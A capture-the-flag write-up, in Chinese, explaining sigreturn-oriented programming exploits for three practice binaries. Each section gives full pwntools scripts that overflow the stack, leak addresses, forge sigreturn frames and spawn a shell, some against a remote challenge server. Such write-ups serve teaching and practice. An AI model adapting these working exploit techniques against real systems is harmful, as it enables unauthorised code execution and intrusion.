【SROP】ciscn_2019_es_7
1. ida 分析
- vuln有兩個函數,read、write;read函數存在棧溢出,write能夠洩露棧上的位址
SROP三連擊(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest)
SROP三連擊(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest) 2. 思路
- 首先洩露棧上的傳回位址,然後通過gdb調試,輸入的參數與傳回位址的偏移
- 有了參數位址,站位址-偏移,就可以輸入/bin/sh且得到它的位址
- 有了/bin/sh、棧位址、sigreturn、syscall就可以使用SROP
3. exp
from pwn import *
#p = process('./ciscn_2019_es_7')
p = remote('node3.buuoj.cn',28142)
elf = ELF('./ciscn_2019_es_7')
context.log_level = 'debug'
context.arch = 'amd64'
pop_rdi = 0x4005a3
vuln = 0x00000000004004ed
#這裡沒有加上ebp,原因如下圖
payload = b'/bin/sh\x00'*2 + p64(vuln)
p.sendline(payload)
stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
p.recv()
log.success('stack==>'+str(hex(stack_addr)))
binsh_addr = stack_addr - 0x118
sigret = 0x4004da
syscall = 0x400501
frame = SigreturnFrame()
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
#frame.rsp = stack_addr
frame.rax = constants.SYS_execve
frame.rip = syscall
payload = '/bin/sh\x00'*2 + p64(sigret) + p64(syscall) + str(frame)
#gdb.attach(p)
p.sendline(payload)
p.interactive()
SROP三連擊(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest) 【SROP】rootersctf_2019_srop
1. ida分析
SROP三連擊(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest) 2. 思路
1. 通過read函數溢出,pop_rax_syscall_ret 使之執行 frame中的指令(這裡的位址可以選擇text段)
2. 在frame中設計好 傳回後的ebp,esp。需要注意的
- ==在執行sigreturn時,需要pop rsi(一個參數siginfo),是以,在sigreturn之前需要準備0x8的資料==
3. 傳回後,再來一次sigretrun,這次知道到了/bin/sh的位址,可以直接執行execv('/bin/sh',0,0)
3. exp
from pwn import *
p = process('./rootersctf_2019_srop')
#p = remote('node3.buuoj.cn',27344)
context.log_level = 'debug'
context.arch = 'amd64'
text = 0x402000
pop_rax_syscall_ret = 0x401032
syscall_ret = 0x401033
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = text
frame.rdx = 0x300
frame.rsp = text
frame.rbp = text
frame.rip = syscall_ret
payload1 = 'b'*136 + p64(pop_rax_syscall_ret) + p64(0xf) + str(frame)
gdb.attach(p)
pause()
p.send(payload1)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = text
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
pause()
payload2 = '/bin/sh'.ljust(8,'\x00') + p64(pop_rax_syscall_ret) +p64(0xf) + str(frame)
p.send(payload2)
p.interactive()
【SROP】360chunqiu2017_smallest
1. ida分析
SROP三連擊(ciscn_2019_es_7、rootersctf_2019_srop、360chunqiu2017_smallest) 2.思路
- 整個程式隻有一個read函數,沒有位址可以利用,首先将需要洩露棧上的一個可用位址,輸入三個read
- 發送一個位元組,\xb3, 此時rsp變為,mov edx 400打頭,且rax = 1,當執行到syscall時,等于執行了write(1,rsp,0x400),洩露棧上的位址
- 構造frame,read(0,leak,0x400),順便設定rsp,rbp都指向leak
- 将/bin/sh寫入可計算的位址,在構造一個frame,執行,execve(’/bin/sh’,0,0)
3. exp
from pwn import *
p = remote('node3.buuoj.cn',28274)
context.log_level = 'debug'
#p = process('./smallest')
elf = process('./smallest')
context.arch = 'amd64'
syscall = 0x4000be
read = 0x4000b0
payload = p64(read)*3
p.send(payload)
#第一個 read 修改 第二個read的最後一個位元組,跳過rax置零,直接執行write(1,rsp,0x400)
p.send('\xb3')
leak = u64(p.recv()[0x8:0x10])
log.success('leak==>'+str(hex(leak)))
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = leak
frame.rdx = 0x400
frame.rsp = leak
frame.rip = syscall
#第三個 read 先将frame放進棧
payload2 = p64(read)+ p64(0xdeadbeef)+str(frame)
#gdb.attach(p)
p.send(payload2)
#進行sigreturn調用,由于frame已經放進棧中,可以直接執行frame中的操作
sigreturn = p64(syscall) + 'b'*7
p.send(sigreturn)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = leak + 0x120
frame.rsi = 0
frame.rdx = 0
frame.rsp = leak
frame.rip = syscall
#利用上一個frame 的read函數,将paylaod3放入leak位址處,計算binsh的偏移
payload3 = p64(read) + 'a'*8 + str(frame)
payload3 = payload3.ljust(0x120,'\x00') + '/bin/sh\x00'
#gdb.attach(p)
p.send(payload3)
#進行sigreturn 調用
p.send(sigreturn)
p.interactive()